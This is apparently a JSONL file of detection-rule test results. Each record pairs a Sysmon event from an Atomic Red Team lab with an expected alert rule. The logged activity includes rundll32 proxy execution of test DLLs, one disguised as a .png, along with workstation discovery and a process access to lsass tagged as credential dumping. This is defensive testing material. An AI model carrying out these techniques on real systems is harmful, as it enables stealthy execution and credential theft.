"win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92075", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "certutil.exe launched from powershell created a binary file"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"Cmd.Exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-656c-6452-9ae9-1a0000000000}\",\"description\":\"Windows Command Processor\",\"logonGuid\":\"{4dc16835-6569-6452-47f8-190000000000}\",\"parentCommandLine\":\"C:\\\\\\\\Windows\\\\\\\\Explorer.EXE\",\"processGuid\":\"{4dc16835-ae24-6452-48c6-250100000000}\",\"logonId\":\"0x19f847\",\"parentProcessId\":\"4908\",\"processId\":\"3252\",\"currentDirectory\":\"E:\\\\\\\\\",\"utcTime\":\"2023-05-03 18:55:32.498\",\"hashes\":\"SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\explorer.exe\",\"ruleName\":\"technique_id=T1204,technique_name=User Execution\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"integrityLevel\":\"Medium\",\"fileVersion\":\"10.0.19041.746 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1204,technique_name=User Execution\\r\\nUtcTime: 2023-05-03 18:55:32.498\\r\\nProcessGuid: {4dc16835-ae24-6452-48c6-250100000000}\\r\\nProcessId: 3252\\r\\nImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nFileVersion: 10.0.19041.746 (WinBuild.160101.0800)\\r\\nDescription: Windows Command Processor\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: Cmd.Exe\\r\\nCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" /c start rundll32 AllTheThingsx64.dll,#2\\r\\nCurrentDirectory: E:\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-6569-6452-47f8-190000000000}\\r\\nLogonId: 0x19F847\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18\\r\\nParentProcessGuid: {4dc16835-656c-6452-9ae9-1a0000000000}\\r\\nParentProcessId: 4908\\r\\nParentImage: C:\\\\Windows\\\\explorer.exe\\r\\nParentCommandLine: C:\\\\Windows\\\\Explorer.EXE\\\"\",\"version\":\"5\",\"systemTime\":\"2023-05-03T18:55:32.5079400Z\",\"eventRecordID\":\"827261\",\"threadID\":\"3616\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2708\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "E:\\\\", "win.eventdata.description": "Windows Command Processor", "win.eventdata.fileVersion": "10.0.19041.746 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-6569-6452-47f8-190000000000}", "win.eventdata.logonId": "0x19f847", "win.eventdata.originalFileName": "Cmd.Exe", "win.eventdata.parentCommandLine": "C:\\\\Windows\\\\Explorer.EXE", "win.eventdata.parentImage": "C:\\\\Windows\\\\explorer.exe", "win.eventdata.parentProcessGuid": "{4dc16835-656c-6452-9ae9-1a0000000000}", "win.eventdata.parentProcessId": "4908", "win.eventdata.processGuid": "{4dc16835-ae24-6452-48c6-250100000000}", "win.eventdata.processId": "3252", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1204,technique_name=User Execution", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2023-05-03 18:55:32.498", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "827261", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2708", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2023-05-03T18:55:32.5079400Z", "win.system.task": "1", "win.system.threadID": "3616", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92078", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Cmd.exe executed from non-standard directory, may be related to link execution from mounted ISO file"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"Cmd.Exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-656c-6452-9ae9-1a0000000000}\",\"description\":\"Windows Command Processor\",\"logonGuid\":\"{4dc16835-6569-6452-47f8-190000000000}\",\"parentCommandLine\":\"C:\\\\\\\\Windows\\\\\\\\Explorer.EXE\",\"processGuid\":\"{4dc16835-ae24-6452-48c6-250100000000}\",\"logonId\":\"0x19f847\",\"parentProcessId\":\"4908\",\"processId\":\"3252\",\"currentDirectory\":\"E:\\\\\\\\\",\"utcTime\":\"2023-05-03 18:55:32.498\",\"hashes\":\"SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\explorer.exe\",\"ruleName\":\"technique_id=T1204,technique_name=User Execution\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\" /c start rundll32 AllTheThingsx64.dll,#2\",\"integrityLevel\":\"Medium\",\"fileVersion\":\"10.0.19041.746 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1204,technique_name=User Execution\\r\\nUtcTime: 2023-05-03 18:55:32.498\\r\\nProcessGuid: {4dc16835-ae24-6452-48c6-250100000000}\\r\\nProcessId: 3252\\r\\nImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nFileVersion: 10.0.19041.746 (WinBuild.160101.0800)\\r\\nDescription: Windows Command Processor\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: Cmd.Exe\\r\\nCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" /c start rundll32 AllTheThingsx64.dll,#2\\r\\nCurrentDirectory: E:\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-6569-6452-47f8-190000000000}\\r\\nLogonId: 0x19F847\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18\\r\\nParentProcessGuid: {4dc16835-656c-6452-9ae9-1a0000000000}\\r\\nParentProcessId: 4908\\r\\nParentImage: C:\\\\Windows\\\\explorer.exe\\r\\nParentCommandLine: C:\\\\Windows\\\\Explorer.EXE\\\"\",\"version\":\"5\",\"systemTime\":\"2023-05-03T18:55:32.5079400Z\",\"eventRecordID\":\"827261\",\"threadID\":\"3616\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2708\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" /c start rundll32 AllTheThingsx64.dll,#2", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "E:\\\\", "win.eventdata.description": "Windows Command Processor", "win.eventdata.fileVersion": "10.0.19041.746 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-6569-6452-47f8-190000000000}", "win.eventdata.logonId": "0x19f847", "win.eventdata.originalFileName": "Cmd.Exe", "win.eventdata.parentCommandLine": "C:\\\\Windows\\\\Explorer.EXE", "win.eventdata.parentImage": "C:\\\\Windows\\\\explorer.exe", "win.eventdata.parentProcessGuid": "{4dc16835-656c-6452-9ae9-1a0000000000}", "win.eventdata.parentProcessId": "4908", "win.eventdata.processGuid": "{4dc16835-ae24-6452-48c6-250100000000}", "win.eventdata.processId": "3252", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1204,technique_name=User Execution", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2023-05-03 18:55:32.498", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "827261", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2708", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2023-05-03T18:55:32.5079400Z", "win.system.task": "1", "win.system.threadID": "3616", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92079", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Rundll32 executed from non-standard directory, may be related to link execution from mounted ISO file"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"net.exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\net.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-04b8-6454-9bd1-f80100000000}\",\"description\":\"Net Command\",\"logonGuid\":\"{4dc16835-f0be-6453-80df-2d0000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-09d6-6454-a529-180200000000}\",\"logonId\":\"0x2ddf80\",\"parentProcessId\":\"5664\",\"processId\":\"2740\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\\",\"utcTime\":\"2023-05-04 19:39:02.273\",\"hashes\":\"SHA1=88B101598CC6726B7A57D02B1FA95BE1B272A821,MD5=0BD94A338EEA5A4E1F2830AE326E6D19,SHA256=9F376759BCBCD705F726460FC4A7E2B07F310F52BAA73CAAAAA124FDDBDF993E,IMPHASH=57F0C47AE2A1A2C06C8B987372AB0B07\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1018,technique_name=Remote System Discovery\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"net config workstation\",\"integrityLevel\":\"Medium\",\"fileVersion\":\"10.0.19041.1 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1018,technique_name=Remote System Discovery\\r\\nUtcTime: 2023-05-04 19:39:02.273\\r\\nProcessGuid: {4dc16835-09d6-6454-a529-180200000000}\\r\\nProcessId: 2740\\r\\nImage: C:\\\\Windows\\\\System32\\\\net.exe\\r\\nFileVersion: 10.0.19041.1 (WinBuild.160101.0800)\\r\\nDescription: Net Command\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: net.exe\\r\\nCommandLine: net config workstation\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-f0be-6453-80df-2d0000000000}\\r\\nLogonId: 0x2DDF80\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=88B101598CC6726B7A57D02B1FA95BE1B272A821,MD5=0BD94A338EEA5A4E1F2830AE326E6D19,SHA256=9F376759BCBCD705F726460FC4A7E2B07F310F52BAA73CAAAAA124FDDBDF993E,IMPHASH=57F0C47AE2A1A2C06C8B987372AB0B07\\r\\nParentProcessGuid: {4dc16835-04b8-6454-9bd1-f80100000000}\\r\\nParentProcessId: 5664\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2023-05-04T19:39:02.2799792Z\",\"eventRecordID\":\"223471\",\"threadID\":\"3508\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2284\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "net config workstation", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\", "win.eventdata.description": "Net Command", "win.eventdata.fileVersion": "10.0.19041.1 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=88B101598CC6726B7A57D02B1FA95BE1B272A821,MD5=0BD94A338EEA5A4E1F2830AE326E6D19,SHA256=9F376759BCBCD705F726460FC4A7E2B07F310F52BAA73CAAAAA124FDDBDF993E,IMPHASH=57F0C47AE2A1A2C06C8B987372AB0B07", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\net.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-f0be-6453-80df-2d0000000000}", "win.eventdata.logonId": "0x2ddf80", "win.eventdata.originalFileName": "net.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-04b8-6454-9bd1-f80100000000}", "win.eventdata.parentProcessId": "5664", "win.eventdata.processGuid": "{4dc16835-09d6-6454-a529-180200000000}", "win.eventdata.processId": "2740", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1018,technique_name=Remote System Discovery", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2023-05-04 19:39:02.273", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "223471", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2284", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2023-05-04T19:39:02.2799792Z", "win.system.task": "1", "win.system.threadID": "3508", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92080", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "net.exe workstation discovery"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"RUNDLL32.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-b349-645e-1125-aa0000000000}\",\"description\":\"Windows host process (Rundll32)\",\"logonGuid\":\"{4dc16835-b21d-645e-5131-8d0000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-b634-645e-05df-bc0000000000}\",\"logonId\":\"0x8d3151\",\"parentProcessId\":\"5276\",\"processId\":\"4724\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\\",\"utcTime\":\"2023-05-12 21:57:08.923\",\"hashes\":\"SHA1=DD399AE46303343F9F0DA189AEE11C67BD868222,MD5=EF3179D498793BF4234F708D3BE28633,SHA256=B53F3C0CD32D7F20849850768DA6431E5F876B7BFA61DB0AA0700B02873393FA,IMPHASH=4DB27267734D1576D75C991DC70F68AC\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1218.002,technique_name=rundll32.exe\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"rundll32.exe AllTheThingsx64.png,#2\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.746 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1218.002,technique_name=rundll32.exe\\r\\nUtcTime: 2023-05-12 21:57:08.923\\r\\nProcessGuid: {4dc16835-b634-645e-05df-bc0000000000}\\r\\nProcessId: 4724\\r\\nImage: C:\\\\Windows\\\\System32\\\\rundll32.exe\\r\\nFileVersion: 10.0.19041.746 (WinBuild.160101.0800)\\r\\nDescription: Windows host process (Rundll32)\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: RUNDLL32.EXE\\r\\nCommandLine: rundll32.exe AllTheThingsx64.png,#2\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-b21d-645e-5131-8d0000000000}\\r\\nLogonId: 0x8D3151\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=DD399AE46303343F9F0DA189AEE11C67BD868222,MD5=EF3179D498793BF4234F708D3BE28633,SHA256=B53F3C0CD32D7F20849850768DA6431E5F876B7BFA61DB0AA0700B02873393FA,IMPHASH=4DB27267734D1576D75C991DC70F68AC\\r\\nParentProcessGuid: {4dc16835-b349-645e-1125-aa0000000000}\\r\\nParentProcessId: 5276\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2023-05-12T21:57:08.9296916Z\",\"eventRecordID\":\"229960\",\"threadID\":\"3232\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2272\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "rundll32.exe AllTheThingsx64.png,#2", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\", "win.eventdata.description": "Windows host process (Rundll32)", "win.eventdata.fileVersion": "10.0.19041.746 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=DD399AE46303343F9F0DA189AEE11C67BD868222,MD5=EF3179D498793BF4234F708D3BE28633,SHA256=B53F3C0CD32D7F20849850768DA6431E5F876B7BFA61DB0AA0700B02873393FA,IMPHASH=4DB27267734D1576D75C991DC70F68AC", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\rundll32.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-b21d-645e-5131-8d0000000000}", "win.eventdata.logonId": "0x8d3151", "win.eventdata.originalFileName": "RUNDLL32.EXE", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-b349-645e-1125-aa0000000000}", "win.eventdata.parentProcessId": "5276", "win.eventdata.processGuid": "{4dc16835-b634-645e-05df-bc0000000000}", "win.eventdata.processId": "4724", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1218.002,technique_name=rundll32.exe", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2023-05-12 21:57:08.923", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "229960", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2272", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2023-05-12T21:57:08.9296916Z", "win.system.task": "1", "win.system.threadID": "3232", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92081", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Rundll32 executing file with suspicious extension"} +{"log": "{\"win\":{\"eventdata\":{\"sourceThreadId\":\"6716\",\"grantedAccess\":\"0x1010\",\"targetProcessGUID\":\"{4dc16835-31bc-6141-0b00-000000006500}\",\"targetProcessId\":\"596\",\"utcTime\":\"2021-09-14 20:25:15.480\",\"ruleName\":\"technique_id=T1003,technique_name=Credential Dumping\",\"sourceProcessId\":\"6004\",\"sourceImage\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\smrs.exe\",\"targetImage\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\lsass.exe\",\"sourceProcessGUID\":\"{4dc16835-052b-6141-bc2f-ea0000000000}\",\"callTrace\":\"C:\\\\\\\\Windows\\\\\\\\SYSTEM32\\\\\\\\ntdll.dll+9d2e4|C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\KERNELBASE.dll+2c03e|C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\smrs.exe+b11df|C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\smrs.exe+b156a|C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\smrs.exe+b1135|C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\smrs.exe+819e3|C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\smrs.exe+81826|C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\smrs.exe+815b